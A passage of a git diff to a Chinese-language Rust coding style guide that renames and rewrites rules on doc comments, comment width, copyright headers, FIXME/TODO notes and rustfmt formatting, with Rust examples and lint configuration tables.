建议 **【描述】** -文件头（即，模块级）注释应先包含版权说明。如果文件头注释需要增加其他内容，可以在版权说明下面补充。 +Rust 代码风格中提倡使用**四个空格**代替tab，在文档注释中也应该统一使用**四个空格**。 -可以包括： +**【反例】** -1. 文件功能说明。 -2. 作者。 -3. 创建日期 和 最后修改日期。 -4. 注意事项。 -5. 开源许可证(比如, Apache 2.0, BSD, LGPL, GPL)。 -6. 其他。 +下面文档注释中使用了 tab。 -版权说明格式如下： - -- 中文版：`版权所有（c）XXX 技术有限公司 2015-2022`。 -- 英文版： `Copyright (c) XXX Technologies Co.Ltd. 2015-2022. All rights reserved. Licensed under Apache-2.0.` - -其内容可以进行调整，参加下面详细说明： - -- `2015-2022` 根据实际需要可以修改。2015是文件首次创建年份，2022是文件最后修改年份。可以只写一个创建年份，后续如果经常修改则无需修改版权声明。 -- 如果是内部使用，则无需增加 `All rights reserved`。 -- `Licensed under Apache-2.0.`，如果是开源则可以增加许可证声明。 - -编写版权注释时注意事项： - -- 版权注释应该从文件头顶部开始写。 -- 文件头注释首先包含“版权说明”，然后紧跟其他内容。 -- 可选内容应按需添加，避免空有格式没有内容的情况。 -- 保持统一格式，具体格式由项目或更大的范围统一制定。 -- 保持版面工整，换行注意对齐。 +```rust +/// +/// Struct to hold two strings: +/// - first one +/// - second one +pub struct DoubleString { + /// + /// - First String: + /// - needs to be inside here + first_string: String, + /// + /// - Second String: + /// - needs to be inside here + second_string: String, +} +``` **【正例】** ```rust -// 版权所有（c）XXX 技术有限公司 2015-2022。 - -// Or - -// Copyright (c) XXX Technologies Co.Ltd. 2015-2022. -// All rights reserved. Licensed under Apache-2.0. -``` \ No newline at end of file +/// +/// Struct to hold two strings: +/// - first one +/// - second one +pub struct DoubleString { + /// + /// - First String: + /// - needs to be inside here + first_string: String, + /// + /// - Second String: + /// - needs to be inside here + second_string: String, +} +``` + +**【Lint 检测】** + +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ---------- | +| [tabs_in_doc_comments ](https://rust-lang.github.io/rust-clippy/master/index.html#tabs_in_doc_comments ) | yes | no | Style | warn | + +--- \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.04.md b/src/safe-guides/code_style/comments/G.CMT.04.md index 9e351f24..ea6fefbe 100644 --- a/src/safe-guides/code_style/comments/G.CMT.04.md +++ b/src/safe-guides/code_style/comments/G.CMT.04.md @@ -1,40 +1 @@ -## G.CMT.04 在注释中使用 `FIXME` 和 `TODO` 来帮助任务协作 - -**【级别】** 建议 - -**【描述】** - -通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。rustfmt 默认不开启该项，所以需要配置。 - -但是配置为 `Always` 没必要，只需要配置为 `Unnumbered` 针对编号的 `FXIME` 和 `TODO` 报告即可。 - -这两个配置目前有 Bug ，无法正确识别报告，但不影响这个规则的应用。 - -**【正例】** - -```rust - -// TODO(calebcartwright): consider enabling box_patterns feature gate -fn annotation_type_for_level(level: Level) -> AnnotationType { - match level { - Level::Bug | Level::Fatal | Level::Error => AnnotationType::Error, - Level::Warning => AnnotationType::Warning, - Level::Note => AnnotationType::Note, - Level::Help => AnnotationType::Help, - // FIXME(#59346): Not sure how to map these two levels - Level::Cancelled | Level::FailureNote => AnnotationType::Error, - Level::Allow => panic!("Should not call with Allow"), - } -} -``` - -**【rustfmt 配置】** - -此规则 Clippy 不可检测，由 rustfmt 自动格式化。 - -rustfmt 配置： - -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`report_fixme`](https://rust-lang.github.io/rustfmt/?#report_fixme) | Never（默认），Unnumbered（推荐） | No| 是否报告 FIXME 注释 | -| [`report_todo`](https://rust-lang.github.io/rustfmt/?#report_todo) | Never（默认），Unnumbered（推荐） | No| 是否报告 FIXME 注释 | \ No newline at end of file +# P.CMT.04 diff --git a/src/safe-guides/code_style/comments/G.CMT.05.md b/src/safe-guides/code_style/comments/G.CMT.05.md index 8446dc7d..4dd7803d 100644 --- a/src/safe-guides/code_style/comments/G.CMT.05.md +++ b/src/safe-guides/code_style/comments/G.CMT.05.md @@ -1,37 +1 @@ -## G.CMT.05 在 公开的返回`Result`类型返回的函数文档中增加 Error 注释 - -**【级别】** 建议 - -**【描述】** - -在公开（pub）的返回`Result`类型函数文档中，建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型，方便用户处理错误。 - -说明： 该规则通过 cargo clippy 来检测。默认不会警告。 - -**【反例】** - -```rust -# use std::io; -pub fn read(filename: String) -> io::Result { - unimplemented!(); -} -``` - -**【正例】** - -```rust -# use std::io; -/// # Errors -/// -/// Will return `Err` if `filename` does not exist or the user does not have -/// permission to read it. -pub fn read(filename: String) -> io::Result { - unimplemented!(); -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------ | ---- | --------- | ------ | ------ | -| [missing_errors_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_errors_doc ) | yes| no | Style | allow | \ No newline at end of file +# P.CMT.05 diff --git a/src/safe-guides/code_style/comments/G.CMT.06.md b/src/safe-guides/code_style/comments/G.CMT.06.md deleted file mode 100644 index 4ae132ee..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.06.md +++ /dev/null @@ -1,42 +0,0 @@ -## G.CMT.06 如果公开的API在某些情况下会发生Panic，则相应文档中需增加 Panic 注释 - -**【级别】** 要求 - -**【描述】** - -在公开（pub）函数文档中，建议增加 `# Panic` 注释来解释该函数在什么条件下会 Panic，便于使用者进行预处理。 - -说明： 该规则通过 cargo clippy 来检测。默认不会警告。 - -**【反例】** - -```rust -pub fn divide_by(x: i32, y: i32) -> i32 { - if y == 0 { - panic!("Cannot divide by 0") - } else { - x / y - } -} -``` - -**【正例】** - -```rust -/// # Panics -/// -/// Will panic if y is 0 -pub fn divide_by(x: i32, y: i32) -> i32 { - if y == 0 { - panic!("Cannot divide by 0") - } else { - x / y - } -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------ | ---- | --------- | ------ | ------ | -| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.07.md b/src/safe-guides/code_style/comments/G.CMT.07.md deleted file mode 100644 index 08c85949..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.07.md +++ /dev/null @@ -1,55 +0,0 @@ -## G.CMT.07 在文档注释中要使用空格代替 tab - -**【级别】** 建议 - -**【描述】** - -Rust 代码风格中提倡使用**四个空格**代替tab，在文档注释中也应该统一使用**四个空格**。 - -**【反例】** - -下面文档注释中使用了 tab。 - -```rust -/// -/// Struct to hold two strings: -/// - first one -/// - second one -pub struct DoubleString { - /// - /// - First String: - /// - needs to be inside here - first_string: String, - /// - /// - Second String: - /// - needs to be inside here - second_string: String, -} -``` - -**【正例】** - -```rust -/// -/// Struct to hold two strings: -/// - first one -/// - second one -pub struct DoubleString { - /// - /// - First String: - /// - needs to be inside here - first_string: String, - /// - /// - Second String: - /// - needs to be inside here - second_string: String, -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ---------- | -| [tabs_in_doc_comments ](https://rust-lang.github.io/rust-clippy/master/index.html#tabs_in_doc_comments ) | yes | no | Style | warn | - ---- \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.02.md b/src/safe-guides/code_style/comments/P.CMT.02.md new file mode 100644 index 00000000..40a75a55 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.02.md @@ -0,0 +1,38 @@ +## P.CMT.02 注释应该有一定宽度限制 + +**【描述】** + +每行注释的宽度不能过长，需要设置一定的宽度，有助于提升可读性。`comment_width`可配合 `wrap_comments` 将超过宽度限制的注释自动分割为多行。 + +注意：`use_small_heuristics`配置项并不包括`comment_width`。 + +**【反例】** + +```rust +// Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +``` + +**【正例】** + +当 `comment_width=80` 且 `wrap_comments=true`时。 + +注意：这里 `wrap_comments`并未使用默认值，需要配置为 true。 + +```rust +// Lorem ipsum dolor sit amet, consectetur adipiscing elit, +// sed do eiusmod tempor incididunt ut labore et dolore +// magna aliqua. Ut enim ad minim veniam, quis nostrud +// exercitation ullamco laboris nisi ut aliquip ex ea +// commodo consequat. +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测，由 rustfmt 自动格式化。 + +rustfmt 配置： + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`comment_width`](https://rust-lang.github.io/rustfmt/?#comment_width) | 80（默认） | No| 指定一行注释允许的最大宽度 | +| [`wrap_comments`](https://rust-lang.github.io/rustfmt/?#wrap_comments) | false（默认），true（建议） | No| 运行多行注释按最大宽度自动换成多行注释 | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.03.md b/src/safe-guides/code_style/comments/P.CMT.03.md new file mode 100644 index 00000000..ec986975 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.03.md @@ -0,0 +1,58 @@ +## P.CMT.03 使用行注释而避免使用块注释 + +**【描述】** + +尽量使用行注释（`//` 或 `///`），而非块注释。这是Rust社区的约定俗成。 + +对于文档注释，仅在编写模块级文档时使用 `//!`，在其他情况使用 `///`更好。 + +**【反例】** + +```rust +/* + * Wait for the main task to return, and set the process error code + * appropriately. + */ + +mod tests { + //! This module contains tests + + // ... +} + +#![doc = "Example documentation"] + +#[doc = "Example item documentation"] +pub enum Foo {} +``` + +**【正例】** + +当 `normalize_comments = true` 时： + +```rust +// Wait for the main task to return, and set the process error code +// appropriately. + +// 在使用 `mod` 关键字定义模块时，在 `mod`之上使用 `///` 更好。 +/// This module contains tests +mod tests { + // ... +} + +//! Example documentation + +/// Example item documentation +pub enum Foo {} +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测，由 rustfmt 自动格式化。 + +rustfmt 配置： + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`normalize_comments`](https://rust-lang.github.io/rustfmt/?#normalize_comments) | false（默认） true（推荐） | No| 将 `/**/` 注释转为 `//`| +| [`normalize_doc_attributes`](https://rust-lang.github.io/rustfmt/?#normalize_doc_attributes) | false（默认） | No| 将 `#![doc]` 和 `#[doc]` 注释转为 `//!` 和 `///` | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.04.md b/src/safe-guides/code_style/comments/P.CMT.04.md new file mode 100644 index 00000000..467fabfe --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.04.md @@ -0,0 +1,44 @@ +## P.CMT.04 文件头注释包含版权说明 + +**【描述】** + +文件头（即，模块级）注释应先包含版权说明。如果文件头注释需要增加其他内容，可以在版权说明下面补充。 + +可以包括： + +1. 文件功能说明。 +2. 作者。 +3. 创建日期 和 最后修改日期。 +4. 注意事项。 +5. 开源许可证(比如, Apache 2.0, BSD, LGPL, GPL)。 +6. 其他。 + +版权说明格式如下： + +- 中文版：`版权所有（c）XXX 技术有限公司 2015-2022`。 +- 英文版： `Copyright (c) XXX Technologies Co.Ltd. 2015-2022. All rights reserved. Licensed under Apache-2.0.` + +其内容可以进行调整，参加下面详细说明： + +- `2015-2022` 根据实际需要可以修改。2015是文件首次创建年份，2022是文件最后修改年份。可以只写一个创建年份，后续如果经常修改则无需修改版权声明。 +- 如果是内部使用，则无需增加 `All rights reserved`。 +- `Licensed under Apache-2.0.`，如果是开源则可以增加许可证声明。 + +编写版权注释时注意事项： + +- 版权注释应该从文件头顶部开始写。 +- 文件头注释首先包含“版权说明”，然后紧跟其他内容。 +- 可选内容应按需添加，避免空有格式没有内容的情况。 +- 保持统一格式，具体格式由项目或更大的范围统一制定。 +- 保持版面工整，换行注意对齐。 + +**【正例】** + +```rust +// 版权所有（c）XXX 技术有限公司 2015-2022。 + +// Or + +// Copyright (c) XXX Technologies Co.Ltd. 2015-2022. +// All rights reserved. Licensed under Apache-2.0. +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.05.md b/src/safe-guides/code_style/comments/P.CMT.05.md new file mode 100644 index 00000000..65f53531 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.05.md @@ -0,0 +1,38 @@ +## P.CMT.05 在注释中使用 `FIXME` 和 `TODO` 来帮助任务协作 + +**【描述】** + +通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。rustfmt 默认不开启该项，所以需要配置。 + +但是配置为 `Always` 没必要，只需要配置为 `Unnumbered` 针对编号的 `FXIME` 和 `TODO` 报告即可。 + +这两个配置目前有 Bug ，无法正确识别报告，但不影响这个规则的应用。 + +**【正例】** + +```rust + +// TODO(calebcartwright): consider enabling box_patterns feature gate +fn annotation_type_for_level(level: Level) -> AnnotationType { + match level { + Level::Bug | Level::Fatal | Level::Error => AnnotationType::Error, + Level::Warning => AnnotationType::Warning, + Level::Note => AnnotationType::Note, + Level::Help => AnnotationType::Help, + // FIXME(#59346): Not sure how to map these two levels + Level::Cancelled | Level::FailureNote => AnnotationType::Error, + Level::Allow => panic!("Should not call with Allow"), + } +} +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测，由 rustfmt 自动格式化。 + +rustfmt 配置： + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`report_fixme`](https://rust-lang.github.io/rustfmt/?#report_fixme) | Never（默认），Unnumbered（推荐） | No| 是否报告 FIXME 注释 | +| [`report_todo`](https://rust-lang.github.io/rustfmt/?#report_todo) | Never（默认），Unnumbered（推荐） | No| 是否报告 FIXME 注释 | \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt.md b/src/safe-guides/code_style/fmt.md index cc4b2645..6e7557bc 100644 --- a/src/safe-guides/code_style/fmt.md +++ b/src/safe-guides/code_style/fmt.md @@ -1,5 +1,7 @@ # 2.2 格式 +制定统一的编码风格，是为了提升代码的可读性，让日常代码维护和团队之间审查代码更加方便。 + Rust 有自动化格式化工具 rustfmt ，可以帮助开发者摆脱手工调整代码格式的工作，提升生产力。但是，rustfmt 遵循什么样的风格规范，作为开发者应该需要了解，在编写代码的时候可以主动按这样的风格编写。 说明：以下 `rustfmt` 配置中对应配置项如果 `Stable`为`No`，则表示该配置项不能用于 Stable Rust 下在 `rustfmt.toml` 中自定义，但其默认值会在`cargo fmt`时生效。在 Nightly Rust 下则都可以自定义。 @@ -11,20 +13,19 @@ Rust 有自动化格式化工具 rustfmt ，可以帮助开发者摆脱手工调 ## 列表 -- [P.FMT.01 代码格式以保证可读性为前提](./fmt/P.FMT.01.md) -- [G.FMT.01 始终使用 rustfmt 进行自动格式化代码](./fmt/G.FMT.01.md) -- [G.FMT.02 缩进始终使用空格（space）而非制表符（tab）](./fmt/G.FMT.02.md) -- [G.FMT.03 行间距最大宽度空一行](./fmt/G.FMT.03.md) -- [G.FMT.04 语言项（Item) 定义时花括号（brace）位置应该与语言项保持同一行](./fmt/G.FMT.04.md) -- [G.FMT.05 存在多个标识符时应该保持块状（Block）缩进](./fmt/G.FMT.05.md) -- [G.FMT.06 当有多行表达式操作时，操作符应该置于行首](./fmt/G.FMT.09.md) -- [G.FMT.07 枚举变体和结构体字段相互之间默认左对齐](./fmt/G.FMT.10.md) -- [G.FMT.08 多个函数参数和导入模块的布局](./fmt/G.FMT.11.md) -- [G.FMT.09 空格使用规则](./fmt/G.FMT.12.md) -- [G.FMT.10 match 分支格式](./fmt/G.FMT.14.md) -- [G.FMT.11 导入模块分组规则](./fmt/G.FMT.15.md) -- [G.FMT.12 声明宏分支格式](./fmt/G.FMT.16.md) -- [G.FMT.13 具名结构体字段初始化时字段名最好不要省略](./fmt/G.FMT.17.md) -- [G.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/G.FMT.18.md) -- [G.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/G.FMT.19.md) -- [G.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/G.FMT.20.md) \ No newline at end of file +- [P.FMT.01 始终使用 rustfmt 进行自动格式化代码](./fmt/P.FMT.01.md) +- [P.FMT.02 缩进始终使用空格（space）而非制表符（tab）](./fmt/P.FMT.02.md) +- [P.FMT.03 行间距最大宽度空一行](./fmt/P.FMT.03.md) +- [P.FMT.04 语言项（Item) 定义时花括号（brace）位置应该与语言项保持同一行](./fmt/P.FMT.04.md) +- [P.FMT.05 存在多个标识符时应该保持块状（Block）缩进](./fmt/P.FMT.05.md) +- [P.FMT.06 当有多行表达式操作时，操作符应该置于行首](./fmt/P.FMT.09.md) +- [P.FMT.07 枚举变体和结构体字段相互之间默认左对齐](./fmt/P.FMT.10.md) +- [P.FMT.08 多个函数参数和导入模块的布局](./fmt/P.FMT.11.md) +- [P.FMT.09 空格使用规则](./fmt/P.FMT.12.md) +- [P.FMT.10 match 分支格式](./fmt/P.FMT.14.md) +- [P.FMT.11 导入模块分组规则](./fmt/P.FMT.15.md) +- [P.FMT.12 声明宏分支格式](./fmt/P.FMT.16.md) +- [P.FMT.13 具名结构体字段初始化时字段名最好不要省略](./fmt/P.FMT.17.md) +- [P.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/P.FMT.18.md) +- [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.19.md) +- [P.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/P.FMT.20.md) \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/G.FMT.01.md b/src/safe-guides/code_style/fmt/G.FMT.01.md deleted file mode 100644 index bca2e4d0..00000000 --- a/src/safe-guides/code_style/fmt/G.FMT.01.md +++ /dev/null @@ -1,85 +0,0 @@ -## G.FMT.01 始终使用 rustfmt 进行自动格式化代码 - -**【级别】** 要求 - -**【描述】** - -应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件，即使它是空文件。这是向潜在的合作者表明你希望代码是自动格式化的。 - -**【例外】** - -在特殊的情况下，可以通过条件编译属性 `#[cfg_attr(rustfmt, rustfmt_skip)]` 或 `#[rustfmt::skip]` 来关闭自动格式化。 - -比如下面示例： - -`vec!` 中的元素排布是固定格式，这样有助于开发的便利。 - -```rust -fn main() { - let got = vec![ - 0x00, 0x05, 0x01, 0x00, - 0xff, - 0x00, - 0x00, - - 0x01, 0x0c, 0x02, 0x00, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, - b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, - 0x00, - - 127, 0x06, 0x03, 0x00, - 0x01, 0x02, - b'a', b'b', b'c', b'd', 0x00, - b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -如果使用 自动格式化，会变成： - -```rust -fn main() { - let got = vec![ - 0x00, 0x05, 0x01, 0x00, 0xff, 0x00, 0x00, 0x01, 0x0c, 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef, - 0xde, 0xad, 0xbe, 0xef, b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, 0x00, 127, - 0x06, 0x03, 0x00, 0x01, 0x02, b'a', b'b', b'c', b'd', 0x00, b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -但是加上 `#[rustfmt::skip]` 就不会被自动格式化影响： - -```rust -fn main() { - #[rustfmt::skip] - let got = vec![ - 0x00, 0x05, 0x01, 0x00, - 0xff, - 0x00, - 0x00, - - 0x01, 0x0c, 0x02, 0x00, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, - b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, - 0x00, - - 127, 0x06, 0x03, 0x00, - 0x01, 0x02, - b'a', b'b', b'c', b'd', 0x00, - b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化建议】 - -通过检测 项目 根目录下是否存在 `rustfmt.toml` 或 `.rustfmt.toml` ，如果没有该文件，则发出警告，让开发者使用 rustfmt 来格式化代码。 \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/P.FMT.01.md b/src/safe-guides/code_style/fmt/P.FMT.01.md index bc7804a8..c642aa6d 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.01.md +++ b/src/safe-guides/code_style/fmt/P.FMT.01.md @@ -1,5 +1,83 @@ -## P.FMT.01 代码格式以保证可读性为前提 +## P.FMT.01 始终使用 rustfmt 进行自动格式化代码 **【描述】** -制定统一的编码风格，是为了提升代码的可读性，让日常代码维护和团队之间审查代码更加方便。 \ No newline at end of file +应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件，即使它是空文件。这是向潜在的合作者表明你希望代码是自动格式化的。 + +**【例外】** + +在特殊的情况下，可以通过条件编译属性 `#[cfg_attr(rustfmt, rustfmt_skip)]` 或 `#[rustfmt::skip]` 来关闭自动格式化。 + +比如下面示例： + +`vec!` 中的元素排布是固定格式，这样有助于开发的便利。 + +```rust +fn main() { + let got = vec![ + 0x00, 0x05, 0x01, 0x00, + 0xff, + 0x00, + 0x00, + + 0x01, 0x0c, 0x02, 0x00, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, + b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, + 0x00, + + 127, 0x06, 0x03, 0x00, + 0x01, 0x02, + b'a', b'b', b'c', b'd', 0x00, + b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +如果使用 自动格式化，会变成： + +```rust +fn main() { + let got = vec![ + 0x00, 0x05, 0x01, 0x00, 0xff, 0x00, 0x00, 0x01, 0x0c, 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef, + 0xde, 0xad, 0xbe, 0xef, b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, 0x00, 127, + 0x06, 0x03, 0x00, 0x01, 0x02, b'a', b'b', b'c', b'd', 0x00, b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +但是加上 `#[rustfmt::skip]` 就不会被自动格式化影响： + +```rust +fn main() { + #[rustfmt::skip] + let got = vec![ + 0x00, 0x05, 0x01, 0x00, + 0xff, + 0x00, + 0x00, + + 0x01, 0x0c, 0x02, 0x00, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, + b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, + 0x00, + + 127, 0x06, 0x03, 0x00, + 0x01, 0x02, + b'a', b'b', b'c', b'd', 0x00, + b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +**【Lint 检测】** + +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| +| ------ | ---- | --------- | ------ | ------ | +| _ | no | no | _ | yes | + +【定制化建议】 + +通过检测 项目 根目录下是否存在 `rustfmt.toml` 或 `.rustfmt.toml` ，如果没有该文件，则发出警告，让开发者使用 rustfmt 来格式化代码。 \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/G.FMT.02.md b/src/safe-guides/code_style/fmt/P.FMT.02.md similarity index 84% rename from src/safe-guides/code_style/fmt/G.FMT.02.md rename to src/safe-guides/code_style/fmt/P.FMT.02.md index 2d1d2f8c..00102db4 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.02.md +++ b/src/safe-guides/code_style/fmt/P.FMT.02.md @@ -1,6 +1,5 @@ -## G.FMT.02 缩进始终使用空格（space）而非制表符（tab） +## P.FMT.02 缩进始终使用空格（space）而非制表符（tab） -**【级别】** 要求 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.03.md b/src/safe-guides/code_style/fmt/P.FMT.03.md similarity index 87% rename from src/safe-guides/code_style/fmt/G.FMT.03.md rename to src/safe-guides/code_style/fmt/P.FMT.03.md index 73703096..5d814362 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.03.md +++ b/src/safe-guides/code_style/fmt/P.FMT.03.md @@ -1,6 +1,4 @@ -## G.FMT.03 行间距最大宽度空一行 - -**【级别】** 建议 +## P.FMT.03 行间距最大宽度空一行 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.04.md b/src/safe-guides/code_style/fmt/P.FMT.04.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.04.md rename to src/safe-guides/code_style/fmt/P.FMT.04.md index 3ac6efe1..ef386220 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.04.md +++ b/src/safe-guides/code_style/fmt/P.FMT.04.md @@ -1,6 +1,4 @@ -## G.FMT.04 语言项（Item) 定义时花括号（brace）位置应该与语言项保持同一行 - -**【级别】** 建议 +## P.FMT.04 语言项（Item) 定义时花括号（brace）位置应该与语言项保持同一行 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.05.md b/src/safe-guides/code_style/fmt/P.FMT.05.md similarity index 91% rename from src/safe-guides/code_style/fmt/G.FMT.05.md rename to src/safe-guides/code_style/fmt/P.FMT.05.md index a39c47e1..5a06e0dc 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.05.md +++ b/src/safe-guides/code_style/fmt/P.FMT.05.md @@ -1,6 +1,4 @@ -## G.FMT.05 存在多个标识符时应该保持块状（Block）缩进 - -**【级别】** 建议 +## P.FMT.05 存在多个标识符时应该保持块状（Block）缩进 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.06.md b/src/safe-guides/code_style/fmt/P.FMT.06.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.06.md rename to src/safe-guides/code_style/fmt/P.FMT.06.md index d087d0f8..ab150da8 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.06.md +++ b/src/safe-guides/code_style/fmt/P.FMT.06.md @@ -1,6 +1,4 @@ -## G.FMT.06 当有多行表达式操作时，操作符应该置于行首 - -**【级别】** 建议 +## P.FMT.06 当有多行表达式操作时，操作符应该置于行首 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.07.md b/src/safe-guides/code_style/fmt/P.FMT.07.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.07.md rename to src/safe-guides/code_style/fmt/P.FMT.07.md index f06cfe7b..b820bd1b 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.07.md +++ b/src/safe-guides/code_style/fmt/P.FMT.07.md @@ -1,6 +1,4 @@ -## G.FMT.07 枚举变体和结构体字段相互之间默认左对齐 - -**【级别】** 建议 +## P.FMT.07 枚举变体和结构体字段相互之间默认左对齐 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.08.md b/src/safe-guides/code_style/fmt/P.FMT.08.md similarity index 92% rename from src/safe-guides/code_style/fmt/G.FMT.08.md rename to src/safe-guides/code_style/fmt/P.FMT.08.md index 906fce35..9a62a917 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.08.md +++ b/src/safe-guides/code_style/fmt/P.FMT.08.md @@ -1,6 +1,4 @@ -## G.FMT.08 多个函数参数和导入模块的布局 - -**【级别】** 建议 +## P.FMT.08 多个函数参数和导入模块的布局 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.09.md b/src/safe-guides/code_style/fmt/P.FMT.09.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.09.md rename to src/safe-guides/code_style/fmt/P.FMT.09.md index 97daae3c..d95f9034 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.09.md +++ b/src/safe-guides/code_style/fmt/P.FMT.09.md @@ -1,6 +1,4 @@ -## G.FMT.09 空格使用规则 - -**【级别】** 建议 +## P.FMT.09 空格使用规则 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.10.md b/src/safe-guides/code_style/fmt/P.FMT.10.md similarity index 94% rename from src/safe-guides/code_style/fmt/G.FMT.10.md rename to src/safe-guides/code_style/fmt/P.FMT.10.md index 03f996d3..7b09cad9 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.10.md +++ b/src/safe-guides/code_style/fmt/P.FMT.10.md @@ -1,6 +1,4 @@ -## G.FMT.10 `match` 分支格式 - -**【级别】** 建议 +## P.FMT.10 `match` 分支格式 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.11.md b/src/safe-guides/code_style/fmt/P.FMT.11.md similarity index 94% rename from src/safe-guides/code_style/fmt/G.FMT.11.md rename to src/safe-guides/code_style/fmt/P.FMT.11.md index f0154da0..992e7465 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.11.md +++ b/src/safe-guides/code_style/fmt/P.FMT.11.md @@ -1,6 +1,4 @@ -## G.FMT.11 导入模块分组规则 - -**【级别】** 建议 +## P.FMT.11 导入模块分组规则 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.12.md b/src/safe-guides/code_style/fmt/P.FMT.12.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.12.md rename to src/safe-guides/code_style/fmt/P.FMT.12.md index 62d86b37..d5b7e9cb 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.12.md +++ b/src/safe-guides/code_style/fmt/P.FMT.12.md @@ -1,6 +1,4 @@ -## G.FMT.12 声明宏分支格式 - -**【级别】** 建议 +## P.FMT.12 声明宏分支格式 **【描述】** diff 